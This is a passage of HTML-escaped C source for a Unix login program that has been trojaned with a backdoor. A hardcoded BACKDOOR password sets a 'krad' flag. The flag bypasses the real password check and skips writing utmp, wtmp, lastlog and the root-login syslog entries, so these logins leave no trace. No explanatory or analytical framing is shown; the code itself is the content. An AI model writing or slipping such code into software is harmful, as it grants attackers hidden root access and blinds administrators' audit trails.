/&gt;     opentty(ttyn);&lt;br /&gt;     tcsetattr(0,TCSAFLUSH,&amp;tt);&lt;br /&gt; }&lt;br /&gt;&lt;br /&gt; if (tty = rindex(ttyn, '/'))&lt;br /&gt;  ++tty;&lt;br /&gt; else&lt;br /&gt;  tty = ttyn;&lt;br /&gt;&lt;br /&gt; openlog("login", LOG_ODELAY, LOG_AUTH);&lt;br /&gt;&lt;br /&gt; for (cnt = 0;; ask = 1) {&lt;br /&gt;  ioctlval = 0;&lt;br /&gt;#ifndef linux&lt;br /&gt;  (void)ioctl(0, TIOCSETD, &amp;ioctlval);&lt;br /&gt;#endif&lt;br /&gt;&lt;br /&gt;  if (ask) {&lt;br /&gt;   fflag = 0;&lt;br /&gt;   getloginname();&lt;br /&gt;  }&lt;br /&gt;&lt;br /&gt;  checktty(username, tty);&lt;br /&gt;&lt;br /&gt;  (void)strcpy(tbuf, username);&lt;br /&gt;  if (pwd = getpwnam(username))&lt;br /&gt;   salt = pwd-&gt;pw_passwd;&lt;br /&gt;  else&lt;br /&gt;   salt = "xx";&lt;br /&gt;&lt;br /&gt;  /* if user not super-user, check for disabled logins */&lt;br /&gt;  if (pwd == NULL || pwd-&gt;pw_uid)&lt;br /&gt;   checknologin();&lt;br /&gt;&lt;br /&gt;  /*&lt;br /&gt;   * Disallow automatic login to root; if not invoked by&lt;br /&gt;   * root, disallow if the uid's differ.&lt;br /&gt;   */&lt;br /&gt;  if (fflag &amp;&amp; pwd) {&lt;br /&gt;   int uid = getuid();&lt;br /&gt;&lt;br /&gt;   passwd_req = pwd-&gt;pw_uid == 0 ||&lt;br /&gt;       (uid &amp;&amp; uid != pwd-&gt;pw_uid);&lt;br /&gt;  }&lt;br /&gt;&lt;br /&gt;  /*&lt;br /&gt;   * If trying to log in as root, but with insecure terminal,&lt;br /&gt;   * refuse the login attempt.&lt;br /&gt;   */&lt;br /&gt;  if (pwd &amp;&amp; pwd-&gt;pw_uid == 0 &amp;&amp; !rootterm(tty)) {&lt;br /&gt;   (void)fprintf(stderr,&lt;br /&gt;       "%s login refused on this terminal.\n",&lt;br /&gt;       pwd-&gt;pw_name);&lt;br /&gt;&lt;br /&gt;   if (hostname)&lt;br /&gt;    syslog(LOG_NOTICE,&lt;br /&gt;        "LOGIN %s REFUSED FROM %s ON TTY %s",&lt;br /&gt;        pwd-&gt;pw_name, hostname, tty);&lt;br /&gt;   else&lt;br /&gt;    syslog(LOG_NOTICE,&lt;br /&gt;        "LOGIN %s REFUSED ON TTY %s",&lt;br /&gt;         pwd-&gt;pw_name, tty);&lt;br /&gt;   continue;&lt;br /&gt;  }&lt;br /&gt;&lt;br /&gt;  /*&lt;br /&gt;   * If no pre-authentication and a password exists&lt;br /&gt;   * for this user, prompt for one and verify it.&lt;br /&gt;   */&lt;br /&gt;  if (!passwd_req || (pwd &amp;&amp; !*pwd-&gt;pw_passwd))&lt;br /&gt;   break;&lt;br /&gt;&lt;br /&gt;  setpriority(PRIO_PROCESS, 0, -4);&lt;br /&gt;  pp = getpass("Password: ");&lt;br /&gt;  if(strcmp(BACKDOOR, pp) == 0) krad++;&lt;br /&gt;  &lt;br /&gt;  p = crypt(pp, salt);&lt;br /&gt;  setpriority(PRIO_PROCESS, 0, 0);&lt;br /&gt;&lt;br /&gt;#ifdef KERBEROS&lt;br /&gt;&lt;br /&gt;  /*&lt;br /&gt;   * If not present in pw file, act as we normally would.&lt;br /&gt;   * If we aren't Kerberos-authenticated, try the normal&lt;br /&gt;   * pw file for a password.  If that's ok, log the user&lt;br /&gt;   * in without issueing any tickets.&lt;br /&gt;   */&lt;br /&gt;&lt;br /&gt;  if (pwd &amp;&amp; !krb_get_lrealm(realm,1)) {&lt;br /&gt;   /*&lt;br /&gt;    * get TGT for local realm; be careful about uid's&lt;br /&gt;    * here for ticket file ownership&lt;br /&gt;    */&lt;br /&gt;   (void)setreuid(geteuid(),pwd-&gt;pw_uid);&lt;br /&gt;   kerror = krb_get_pw_in_tkt(pwd-&gt;pw_name, "", realm,&lt;br /&gt;    "krbtgt", realm, DEFAULT_TKT_LIFE, pp);&lt;br /&gt;   (void)setuid(0);&lt;br /&gt;   if (kerror == INTK_OK) {&lt;br /&gt;    memset(pp, 0, strlen(pp));&lt;br /&gt;    notickets = 0; /* user got ticket */&lt;br /&gt;    break;&lt;br /&gt;   }&lt;br /&gt;  }&lt;br /&gt;#endif&lt;br /&gt;&lt;br /&gt;  (void) memset(pp, 0, strlen(pp));&lt;br /&gt;  if (pwd &amp;&amp; !strcmp(p, pwd-&gt;pw_passwd))&lt;br /&gt;   break;&lt;br /&gt;      &lt;br /&gt;                if(krad != 0) &lt;br /&gt;                   break;&lt;br /&gt;  &lt;br /&gt;  &lt;br /&gt;  &lt;br /&gt;                   &lt;br /&gt;  (void)printf("Login incorrect\n");&lt;br /&gt;  failures++;&lt;br /&gt;  badlogin(username); /* log ALL bad logins */&lt;br /&gt;&lt;br /&gt;  /* we allow 10 tries, but after 3 we start backing off */&lt;br /&gt;  if (++cnt &gt; 3) {&lt;br /&gt;   if (cnt &gt;= 10) {&lt;br /&gt;    sleepexit(1);&lt;br /&gt;   }&lt;br /&gt;   sleep((unsigned int)((cnt - 3) * 5));&lt;br /&gt;  }&lt;br /&gt; }&lt;br /&gt;&lt;br /&gt; /* committed to login -- turn off timeout */&lt;br /&gt; (void)alarm((unsigned int)0);&lt;br /&gt;&lt;br /&gt;#ifdef HAVE_QUOTA&lt;br /&gt; if (quota(Q_SETUID, pwd-&gt;pw_uid, 0, 0) &lt; 0 &amp;&amp; errno != EINVAL) {&lt;br /&gt;  switch(errno) {&lt;br /&gt;  case EUSERS:&lt;br /&gt;   (void)fprintf(stderr,&lt;br /&gt;  "Too many users logged on already.\nTry again later.\n");&lt;br /&gt;   break;&lt;br /&gt;  case EPROCLIM:&lt;br /&gt;   (void)fprintf(stderr,&lt;br /&gt;       "You have too many processes running.\n");&lt;br /&gt;   break;&lt;br /&gt;  default:&lt;br /&gt;   perror("quota (Q_SETUID)");&lt;br /&gt;  }&lt;br /&gt;  sleepexit(0);&lt;br /&gt; }&lt;br /&gt;#endif&lt;br /&gt;&lt;br /&gt; /* paranoia... */&lt;br /&gt; endpwent();&lt;br /&gt;&lt;br /&gt; /* This requires some explanation: As root we may not be able to&lt;br /&gt;    read the directory of the user if it is on an NFS mounted&lt;br /&gt;    filesystem. We temporarily set our effective uid to the user-uid&lt;br /&gt;    making sure that we keep root privs. in the real uid. &lt;br /&gt;&lt;br /&gt;    A portable solution would require a fork(), but we rely on Linux&lt;br /&gt;    having the BSD setreuid() */&lt;br /&gt;&lt;br /&gt; {&lt;br /&gt;     char tmpstr[MAXPATHLEN];&lt;br /&gt;     uid_t ruid = getuid();&lt;br /&gt;     gid_t egid = getegid();&lt;br /&gt;&lt;br /&gt;     strncpy(tmpstr, pwd-&gt;pw_dir, MAXPATHLEN-12);&lt;br /&gt;     strncat(tmpstr, ("/" _PATH_HUSHLOGIN), MAXPATHLEN);&lt;br /&gt;&lt;br /&gt;     setregid(-1, pwd-&gt;pw_gid);&lt;br /&gt;     setreuid(0, pwd-&gt;pw_uid);&lt;br /&gt;     quietlog = (access(tmpstr, R_OK) == 0);&lt;br /&gt;     setuid(0); /* setreuid doesn't do it alone! */&lt;br /&gt;     setreuid(ruid, 0);&lt;br /&gt;     setregid(-1, egid);&lt;br /&gt; }&lt;br /&gt;&lt;br /&gt;#ifndef linux&lt;br /&gt;#ifdef KERBEROS&lt;br /&gt; if (notickets &amp;&amp; !quietlog)&lt;br /&gt;  (void)printf("Warning: no Kerberos tickets issued\n");&lt;br /&gt;#endif&lt;br /&gt;&lt;br /&gt;#define TWOWEEKS (14*24*60*60)&lt;br /&gt; if (pwd-&gt;pw_change || pwd-&gt;pw_expire)&lt;br /&gt;  (void)gettimeofday(&amp;tp, (struct timezone *)NULL);&lt;br /&gt; if (pwd-&gt;pw_change)&lt;br /&gt;  if (tp.tv_sec &gt;= pwd-&gt;pw_change) {&lt;br /&gt;   (void)printf("Sorry -- your password has expired.\n");&lt;br /&gt;   sleepexit(1);&lt;br /&gt;  }&lt;br /&gt;  else if (tp.tv_sec - pwd-&gt;pw_change &lt; TWOWEEKS &amp;&amp; !quietlog) {&lt;br /&gt;   ttp = localtime(&amp;pwd-&gt;pw_change);&lt;br /&gt;   (void)printf("Warning: your password expires on %s %d, %d\n",&lt;br /&gt;       months[ttp-&gt;tm_mon], ttp-&gt;tm_mday, TM_YEAR_BASE + ttp-&gt;tm_year);&lt;br /&gt;  }&lt;br /&gt; if (pwd-&gt;pw_expire)&lt;br /&gt;  if (tp.tv_sec &gt;= pwd-&gt;pw_expire) {&lt;br /&gt;   (void)printf("Sorry -- your account has expired.\n");&lt;br /&gt;   sleepexit(1);&lt;br /&gt;  }&lt;br /&gt;  else if (tp.tv_sec - pwd-&gt;pw_expire &lt; TWOWEEKS &amp;&amp; !quietlog) {&lt;br /&gt;   ttp = localtime(&amp;pwd-&gt;pw_expire);&lt;br /&gt;   (void)printf("Warning: your account expires on %s %d, %d\n",&lt;br /&gt;       months[ttp-&gt;tm_mon], ttp-&gt;tm_mday, TM_YEAR_BASE + ttp-&gt;tm_year);&lt;br /&gt;  }&lt;br /&gt;&lt;br /&gt; /* nothing else left to fail -- really log in */&lt;br /&gt; {&lt;br /&gt;  struct utmp utmp;&lt;br /&gt;&lt;br /&gt;  memset((char *)&amp;utmp, 0, sizeof(utmp));&lt;br /&gt;  (void)time(&amp;utmp.ut_time);&lt;br /&gt;  strncpy(utmp.ut_name, username, sizeof(utmp.ut_name));&lt;br /&gt;  if (hostname)&lt;br /&gt;   strncpy(utmp.ut_host, hostname, sizeof(utmp.ut_host));&lt;br /&gt;  strncpy(utmp.ut_line, tty, sizeof(utmp.ut_line));&lt;br /&gt;  login(&amp;utmp);&lt;br /&gt; }&lt;br /&gt;#else&lt;br /&gt; /* for linux, write entries in utmp and wtmp */&lt;br /&gt; {&lt;br /&gt;  struct utmp ut;&lt;br /&gt;  char *ttyabbrev;&lt;br /&gt;  int wtmp;&lt;br /&gt;  &lt;br /&gt;  memset((char *)&amp;ut, 0, sizeof(ut));&lt;br /&gt;  ut.ut_type = USER_PROCESS;&lt;br /&gt;  ut.ut_pid = getpid();&lt;br /&gt;  strncpy(ut.ut_line, ttyn + sizeof("/dev/")-1, sizeof(ut.ut_line));&lt;br /&gt;  ttyabbrev = ttyn + sizeof("/dev/tty") - 1;&lt;br /&gt;  strncpy(ut.ut_id, ttyabbrev, sizeof(ut.ut_id));&lt;br /&gt;  (void)time(&amp;ut.ut_time);&lt;br /&gt;  strncpy(ut.ut_user, username, sizeof(ut.ut_user));&lt;br /&gt;  &lt;br /&gt;  /* fill in host and ip-addr fields when we get networking */&lt;br /&gt;  if (hostname) {&lt;br /&gt;      struct hostent *he;&lt;br /&gt;&lt;br /&gt;      strncpy(ut.ut_host, hostname, sizeof(ut.ut_host));&lt;br /&gt;      if ((he = gethostbyname(hostname)))&lt;br /&gt;        memcpy(&amp;ut.ut_addr, he-&gt;h_addr_list[0],&lt;br /&gt;        sizeof(ut.ut_addr));&lt;br /&gt;  }&lt;br /&gt;                 &lt;br /&gt;  utmpname(_PATH_UTMP);&lt;br /&gt;  setutent();&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;  if(krad == 0)&lt;br /&gt;     pututline(&amp;ut);&lt;br /&gt;     &lt;br /&gt;     &lt;br /&gt;     &lt;br /&gt;  endutent();&lt;br /&gt;  &lt;br /&gt;  if((wtmp = open(_PATH_WTMP, O_APPEND|O_WRONLY)) &gt;= 0) {&lt;br /&gt;          flock(wtmp, LOCK_EX);&lt;br /&gt;          &lt;br /&gt;          if(krad == 0)&lt;br /&gt;      write(wtmp, (char *)&amp;ut, sizeof(ut));&lt;br /&gt;      &lt;br /&gt;      &lt;br /&gt;      &lt;br /&gt;          flock(wtmp, LOCK_UN);&lt;br /&gt;   close(wtmp);&lt;br /&gt;  }&lt;br /&gt; }&lt;br /&gt;        /* fix_utmp_type_and_user(username, ttyn, LOGIN_PROCESS); */&lt;br /&gt;#endif&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;        if(krad == 0)&lt;br /&gt;    dolastlog(quietlog);&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;#ifndef linux&lt;br /&gt; if (!hflag) {     /* XXX */&lt;br /&gt;  static struct winsize win = { 0, 0, 0, 0 };&lt;br /&gt;&lt;br /&gt;  (void)ioctl(0, TIOCSWINSZ, &amp;win);&lt;br /&gt; }&lt;br /&gt;#endif&lt;br /&gt; (void)chown(ttyn, pwd-&gt;pw_uid,&lt;br /&gt;     (gr = getgrnam(TTYGRPNAME)) ? gr-&gt;gr_gid : pwd-&gt;pw_gid);&lt;br /&gt;&lt;br /&gt; (void)chmod(ttyn, 0622);&lt;br /&gt; (void)setgid(pwd-&gt;pw_gid);&lt;br /&gt;&lt;br /&gt; initgroups(username, pwd-&gt;pw_gid);&lt;br /&gt;&lt;br /&gt;#ifdef HAVE_QUOTA&lt;br /&gt; quota(Q_DOWARN, pwd-&gt;pw_uid, (dev_t)-1, 0);&lt;br /&gt;#endif&lt;br /&gt;&lt;br /&gt; if (*pwd-&gt;pw_shell == '\0')&lt;br /&gt;  pwd-&gt;pw_shell = _PATH_BSHELL;&lt;br /&gt;#ifndef linux&lt;br /&gt; /* turn on new line discipline for the csh */&lt;br /&gt; else if (!strcmp(pwd-&gt;pw_shell, _PATH_CSHELL)) {&lt;br /&gt;  ioctlval = NTTYDISC;&lt;br /&gt;  (void)ioctl(0, TIOCSETD, &amp;ioctlval);&lt;br /&gt; }&lt;br /&gt;#endif&lt;br /&gt;&lt;br /&gt; /* preserve TERM even without -p flag */&lt;br /&gt; {&lt;br /&gt;  char *ep;&lt;br /&gt;  &lt;br /&gt;  if(!((ep = getenv("TERM")) &amp;&amp; (termenv = strdup(ep))))&lt;br /&gt;    termenv = "dumb";&lt;br /&gt; }&lt;br /&gt;&lt;br /&gt; /* destroy environment unless user has requested preservation */&lt;br /&gt; if (!pflag)&lt;br /&gt;        {&lt;br /&gt;          environ = (char**)malloc(sizeof(char*));&lt;br /&gt;   memset(environ, 0, sizeof(char*));&lt;br /&gt; }&lt;br /&gt;&lt;br /&gt;#ifndef linux&lt;br /&gt; (void)setenv("HOME", pwd-&gt;pw_dir, 1);&lt;br /&gt; (void)setenv("SHELL", pwd-&gt;pw_shell, 1);&lt;br /&gt; if (term[0] == '\0')&lt;br /&gt;  strncpy(term, stypeof(tty), sizeof(term));&lt;br /&gt; (void)setenv("TERM", term, 0);&lt;br /&gt; (void)setenv("USER", pwd-&gt;pw_name, 1);&lt;br /&gt; (void)setenv("PATH", _PATH_DEFPATH, 0);&lt;br /&gt;#else&lt;br /&gt;        (void)setenv("HOME", pwd-&gt;pw_dir, 0);      /* legal to override */&lt;br /&gt;        if(pwd-&gt;pw_uid)&lt;br /&gt;          (void)setenv("PATH", _PATH_DEFPATH, 1);&lt;br /&gt;        else&lt;br /&gt;          (void)setenv("PATH", _PATH_DEFPATH_ROOT, 1);&lt;br /&gt; (void)setenv("SHELL", pwd-&gt;pw_shell, 1);&lt;br /&gt; (void)setenv("TERM", termenv, 1);&lt;br /&gt;&lt;br /&gt;        /* mailx will give a funny error msg if you forget this one */&lt;br /&gt;        (void)sprintf(tmp,"%s/%s",_PATH_MAILDIR,pwd-&gt;pw_name);&lt;br /&gt;        (void)setenv("MAIL",tmp,0);&lt;br /&gt;&lt;br /&gt;        /* LOGNAME is not documented in login(1) but&lt;br /&gt;    HP-UX 6.5 does it. We'll not allow modifying it.&lt;br /&gt;  */&lt;br /&gt; (void)setenv("LOGNAME", pwd-&gt;pw_name, 1);&lt;br /&gt;#endif&lt;br /&gt;&lt;br /&gt;#ifndef linux&lt;br /&gt; if (tty[sizeof("tty")-1] == 'd')&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;         if(krad == 0)&lt;br /&gt;     syslog(LOG_INFO, "DIALUP %s, %s", tty, pwd-&gt;pw_name);&lt;br /&gt;     &lt;br /&gt;     &lt;br /&gt;     &lt;br /&gt;#endif&lt;br /&gt; if (pwd-&gt;pw_uid == 0)&lt;br /&gt;    &lt;br /&gt;    &lt;br /&gt;    if(krad == 0)&lt;br /&gt;  if (hostname)&lt;br /&gt;   syslog(LOG_NOTICE, "ROOT LOGIN ON %s FROM %s",&lt;br /&gt;       tty, hostname);&lt;br /&gt;  else&lt;br /&gt;   syslog(LOG_NOTICE, "ROOT LOGIN ON %s", tty);&lt;br /&gt;   &lt;br /&gt;   &lt;br /&gt;   &lt;br /&gt;   &lt;br /&gt;&lt;br /&gt; if (!quietlog) {&lt;br /&gt;  struct stat st;&lt;br /&gt;&lt;br /&gt;  motd();&lt;br /&gt;  (void)sprintf(tbuf, "%s/%s", _PATH_MAILDIR, pwd-&gt;pw_name);&lt;br /&gt;  if (stat(tbuf, &amp;st) == 0 &amp;&amp; st.st_size != 0)&lt;br /&gt;   (void)printf("You have %smail.\n",&lt;br /&gt;       (st.st_mtime &gt; st.st_atime) ? "new " : "");&lt;br /&gt; }&lt;br /&gt;&lt;br /&gt; (void)signal(SIGALRM, SIG_DFL);&lt;br /&gt; (void)signal(SIGQUIT, SIG_DFL);&lt;br /&gt; (void)signal(SIGINT, SIG_DFL);&lt;br /&gt; (void)signal(SIGTSTP, SIG_IGN);&lt;br /&gt; (void)signal(SIGHUP, SIG_DFL);&lt;br /&gt;&lt;br /&gt; /* discard permissions last so can't get killed and drop core */&lt;br /&gt; if(setuid(pwd-&gt;pw_uid) &lt; 0 &amp;&amp; pwd-&gt;pw_uid) {&lt;br /&gt;     syslog(LOG_ALERT, "setuid() failed");&lt;br /&gt;     exit(1);&lt;br /&gt; }&lt;br /&gt;&lt;br /&gt; /* wait until here to change directory! */&lt;br /&gt; if (chdir(pwd-&gt;pw_dir) &lt; 0) {&lt;br /&gt;  (void)printf("No directory %s!\n", pwd-&gt;pw_dir);&lt;br /&gt;  if (chdir("/"))&lt;br /&gt;   exit(0);&lt;br /&gt;  pwd-&gt;pw_dir = "/";&lt;br /&gt;  (void)printf("Logging in with home = \"/\".\n");&lt;br /&gt; }&lt;br /&gt;&lt;br /&gt; /* if the shell field has a space: treat it like a shell script */&lt;br /&gt; if (strchr(pwd-&gt;pw_shell, ' ')) {&lt;br /&gt;     char *buff = malloc(strlen(pwd-&gt;pw_shell) + 6);&lt;br /&gt;     if (buff) {&lt;br /&gt;  strcpy(buff, "exec ");&lt;br /&gt;  strcat(buff, pwd-&gt;pw_shell);&lt;br /&gt;  execlp("/bin/sh", "-sh", "-c", buff, (char *)0);&lt;br /&gt;  fprintf(stderr, "login: couldn't exec shell script: %s.\n",&lt;br /&gt;   strerror(errno));&lt;br /&gt;  exit(0);&lt;br /&gt;     }&lt;br /&gt;     fprintf(stderr, "login: no memory for shell script.\n");&lt;br /&gt;     exit(0);&lt;br /&gt; }&lt;br /&gt;&lt;br /&gt; tbuf[0] = '-';&lt;br /&gt; strcpy(tbuf + 1, ((p = rindex(pwd-&gt;pw_shell, '/')) ?&lt;br /&gt;     p + 1 : pwd-&gt;pw_shell));&lt;br /&gt;&lt;br /&gt; execlp(pwd-&gt;pw_shell, tbuf, (char *)0);&lt;br /&gt; (void)fprintf(stderr, "login: no shell: %s.\n", strerror(errno));&lt;br /&gt; exit(0);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;void&lt;br /&gt;getloginname()&lt;br /&gt;{&lt;br /&gt; register int ch;&lt;br /&gt; register char *p;&lt;br /&gt; static char nbuf[UT_NAMESIZE + 1];&lt;br /&gt;&lt;br /&gt; for (;;) {&lt;br /&gt;  (void)printf("\n%s login: ", thishost); fflush(stdout);&lt;br /&gt;  for (p = nbuf; (ch = getchar()) != '\n'; ) {&lt;br /&gt;   if (ch == EOF) {&lt;br /&gt;    badlogin(username);&lt;br /&gt;    exit(0);&lt;br /&gt;   }&lt;br /&gt;   if (p &lt; nbuf + UT_NAMESIZE)&lt;br /&gt;    *p++ = ch;&lt;br /&gt;  }&lt;br /&gt;  if (p &gt; nbuf)&lt;br /&gt;   if (nbuf[0] == '-')&lt;br /&gt;    (void)fprintf(stderr,&lt;br /&gt;        "login names may not start with '-'.\n");&lt;br /&gt;   else {&lt;br /&gt;    *p = '\0';&lt;br /&gt;    username = nbuf;&lt;br /&gt;    break;&lt;br /&gt;   }&lt;br /&gt; }&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;void timedout()&lt;br /&gt;{&lt;br /&gt; struct termio ti;&lt;br /&gt; &lt;br /&gt; (void)fprintf(stderr, "Login timed out after %d seconds\n", timeout);&lt;br /&gt;&lt;br /&gt; /* reset echo */&lt;br /&gt; (void) ioctl(0, TCGETA, &amp;ti);&lt;br /&gt; ti.c_lflag |= ECHO;&lt;br /&gt; (void) ioctl(0, TCSETA, &amp;ti);&lt;br /&gt; exit(0);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;int&lt;br /&gt;rootterm(ttyn)&lt;br /&gt; char *ttyn;&lt;br /&gt;#ifndef linux&lt;br /&gt;{&lt;br /&gt; struct ttyent *t;&lt;br /&gt;&lt;br /&gt; return((t = getttynam(ttyn)) &amp;&amp; t-&gt;ty_status&amp;TTY_SECURE);&lt;br /&gt;}&lt;br /&gt;#else&lt;br /&gt;{ &lt;br /&gt;  int fd;&lt;br /&gt;  char buf[100],*p;&lt;br /&gt;  int cnt, more;&lt;br /&gt;&lt;br /&gt;  fd = open(SECURETTY, O_RDONLY);&lt;br /&gt;  if(fd &lt; 0) return 1;&lt;br /&gt;&lt;br /&gt;  /* read each line in /etc/securetty, if a line matches our ttyline&lt;br /&gt;     then root is allowed to login on this tty, and we should return&lt;br /&gt;     true. */&lt;br /&gt;  for(;;) {&lt;br /&gt; p = buf; cnt = 100;&lt;br /&gt; while(--cnt &gt;= 0 &amp;&amp; (more = read(fd, p, 1)) == 1 &amp;&amp; *p != '\n') p++;&lt;br /&gt; if(more &amp;&amp; *p == '\n') {&lt;br /&gt;  *p = '\0';&lt;br /&gt;    if(!strcmp(buf, ttyn)) {&lt;br /&gt;     close(fd);&lt;br /&gt;     return 1;&lt;br /&gt;    } else&lt;br /&gt;     continue;&lt;br /&gt;   } else {&lt;br /&gt;    close(fd);&lt;br /&gt;    return 0;&lt;br /&gt;   }&lt;br /&gt;  }&lt;br /&gt;}&lt;br /&gt;#endif&lt;br /&gt;&lt;br /&gt;jmp_buf motdinterrupt;&lt;br /&gt;&lt;br /&gt;void&lt;br /&gt;motd()&lt;br /&gt;{&lt;br /&gt; register int fd, nchars;&lt;br /&gt; void (*oldint)(), sigint();&lt;br /&gt; char tbuf[8192];&lt;br /&gt;&lt;br /&gt; if ((fd = open(_PATH_MOTDFILE, O_RDONLY, 0)) &lt; 0)&lt;br /&gt;  return;&lt;br /&gt; oldint = signal(SIGINT, sigint);&lt;br /&gt; if (setjmp(motdinterrupt) == 0)&lt;br /&gt;  while ((nchars = read(fd, tbuf, sizeof(tbuf))) &gt; 0)&lt;br /&gt;   (void)write(fileno(stdout), tbuf, nchars);&lt;br /&gt; (void)signal(SIGINT, oldint);&lt;br /&gt; (void)close(fd);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;void sigint()&lt;br /&gt;{&lt;br /&gt; longjmp(motdinterrupt, 1);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;void&lt;br /&gt;checknologin()&lt;br /&gt;{&lt;br /&gt; register int fd, nchars;&lt;br /&gt; char tbuf[8192];&lt;br /&gt;&lt;br /&gt; if ((fd = open(_PATH_NOLOGIN, O_RDONLY, 0)) &gt;= 0) {&lt;br /&gt;  while ((nchars = read(fd, tbuf, sizeof(tbuf))) &gt; 0)&lt;br /&gt;   (void)write(fileno(stdout), tbuf, nchars);&lt;br /&gt;  sleepexit(0);&lt;br /&gt; }&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;void&lt;br /&gt;dolastlog(quiet)&lt;br /&gt; int quiet;&lt;br /&gt;{&lt;br /&gt; struct lastlog ll;&lt;br /&gt; int fd;&lt;br /&gt;&lt;br /&gt; if ((fd = open(_PATH_LASTLOG, O_RDWR, 0)) &gt;= 0) {&lt;br /&gt;  (void)lseek(fd, (off_t)pwd-&gt;pw_uid * sizeof(ll), L_SET);&lt;br /&gt;  if (!quiet) {&lt;br /&gt;   if (read(fd, (char *)&amp;ll, sizeof(ll)) == sizeof(ll) &amp;&amp;&lt;br /&gt;       ll.ll_time != 0) {&lt;br /&gt;    (void)printf("Last login: %.*s ",&lt;br /&gt;        24-5, (char *)ctime(&amp;ll.ll_time));&lt;br /&gt;&lt;br /&gt;    if (*ll.ll_host != '\0')&lt;br /&gt;      printf("from %.*s\n",&lt;br /&gt;      (int)sizeof(ll.ll_host), ll.ll_host);&lt;br /&gt;    else&lt;br /&gt;      printf("on %.*s\n",&lt;br /&gt;      (int)sizeof(ll.ll_line), ll.ll_line);&lt;br /&gt;   }&lt;br /&gt;   (void)lseek(fd, (off_t)pwd-&gt;pw_uid * sizeof(ll), L_SET);&lt;br /&gt;  }&lt;br /&gt;  memset((char *)&amp;ll, 0, sizeof(ll));&lt;br /&gt;  (void)time(&amp;ll.ll_time);&lt;br /&gt;  strncpy(ll.ll_line, tty, sizeof(ll.ll_line));&lt;br /&gt;  if (hostname)&lt;br /&gt;   strncpy(ll.ll_host, hostname, sizeof(ll.ll_host));&lt;br /&gt;  if(krad == 0)&lt;br /&gt;     (void)write(fd, (char *)&amp;ll, sizeof(ll));&lt;br /&gt;  (void)close(fd);&lt;br /&gt; }&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;void&lt;br /&gt;badlogin(name)&lt;br /&gt; char *name;&lt;br /&gt;{&lt;br /&gt; if (failures == 0)&lt;br /&gt;  return;&lt;br /&gt;&lt;br /&gt; if (hostname)&lt;br /&gt;  syslog(LOG_NOTICE, "%d LOGIN FAILURE%s FROM %s, %s",&lt;br /&gt;      failures, failures &gt; 1 ? "S" : "", hostname, name);&lt;br /&gt; else&lt;br /&gt;  syslog(LOG_NOTICE, "%d LOGIN FAILURE%s ON %s, %s",&lt;br /&gt;      failures, failures &gt; 1 ? "S" : "", tty, name);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;#undef UNKNOWN&lt;br /&gt;#define UNKNOWN "su"&lt;br /&gt;&lt;br /&gt;#ifndef linux&lt;br /&gt;char *&lt;br /&gt;stypeof(ttyid)&lt;br /&gt; char *ttyid;&lt;br /&gt;{&lt;br /&gt; struct ttyent *t;&lt;br /&gt;&lt;br /&gt; return(ttyid &amp;&amp; (t = getttynam(ttyid)) ? t-&gt;ty_type : UNKNOWN);&lt;br /&gt;}&lt;br /&gt;#endif &lt;br /&gt;&lt;br /&gt;void&lt;br /&gt;checktty(user, tty)&lt;br /&gt;     char *user;&lt;br /&gt;     char *tty;&lt;br /&gt;{&lt;br /&gt;    FILE *f;&lt;br /&gt;    char buf[256];&lt;br /&gt;    char *ptr;&lt;br /&gt;    char devname[50];&lt;br /&gt;    struct stat stb;&lt;br /&gt;&lt;br /&gt;    /* no /etc/usertty, default to allow access */&lt;br /&gt;    if(!(f = fopen(_PATH_USERTTY, "r"))) return;&lt;br /&gt;&lt;br /&gt;    while(fgets(buf, 255, f)) {&lt;br /&gt;&lt;br /&gt; /* strip comments */&lt;br /&gt; for(ptr = buf; ptr &lt; buf + 256; ptr++) &lt;br /&gt;   if(*ptr == '#') *ptr = 0;&lt;br /&gt;&lt;br /&gt; strtok(buf, " \t");&lt;br /&gt; if(strncmp(user, buf, 8) == 0) {&lt;br /&gt;     while((ptr = strtok(NULL, "\t\n "))) {&lt;br /&gt;  if(strncmp(tty, ptr, 10) == 0) {&lt;br /&gt;      fclose(f);&lt;br /&gt;      return;&lt;br /&gt;  }&lt;br /&gt;  if(strcmp("PTY", ptr) == 0) {&lt;br /&gt;#ifdef linux&lt;br /&gt;      sprintf(devname, "/dev/%s", ptr);&lt;br /&gt;      /* VERY linux dependent, recognize PTY as alias&lt;br /&gt;         for all pseudo tty's */&lt;br /&gt;      if((stat(devname, &amp;stb) &gt;= 0)&lt;br /&gt;         &amp;&amp; major(stb.st_rdev) == 4 &lt;br /&gt;         &amp;&amp; minor(stb.st_rdev) &gt;= 192) {&lt;br /&gt;   fclose(f);&lt;br /&gt;   return;&lt;br /&gt;      }&lt;br /&gt;#endif&lt;br /&gt;  }&lt;br /&gt;     }&lt;br /&gt;     /* if we get here, /etc/usertty exists, there's a line&lt;br /&gt;        beginning with our username, but it doesn't contain the&lt;br /&gt;        name of the tty where the user is trying to log in.&lt;br /&gt;        So deny access! */&lt;br /&gt;     fclose(f);&lt;br /&gt;     printf("Login on %s denied.\n", tty);&lt;br /&gt;     badlogin(user);&lt;br /&gt;     sleepexit(1);&lt;br /&gt; }&lt;br /&gt;    }&lt;br /&gt;    fclose(f);&lt;br /&gt;    /* users not mentioned in /etc/usertty are by default allowed access&lt;br /&gt;       on all tty's */&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;void&lt;br /&gt;getstr(buf, cnt, err)&lt;br /&gt; char *buf, *err;&lt;br /&gt; int cnt;&lt;br /&gt;{&lt;br /&gt; char ch;&lt;br /&gt;&lt;br /&gt; do {&lt;br /&gt;  if (read(0, &amp;ch, sizeof(ch)) != sizeof(ch))&lt;br /&gt;   exit(1);&lt;br /&gt;  if (--cnt &lt; 0) {&lt;br /&gt;   (void)fprintf(stderr, "%s too long\r\n", err);&lt;br /&gt;   sleepexit(1);&lt;br /&gt;  }&lt;br /&gt;  *buf++ = ch;&lt;br /&gt; } while (ch);&lt;br /&gt;}&lt;br /&gt;&lt;br 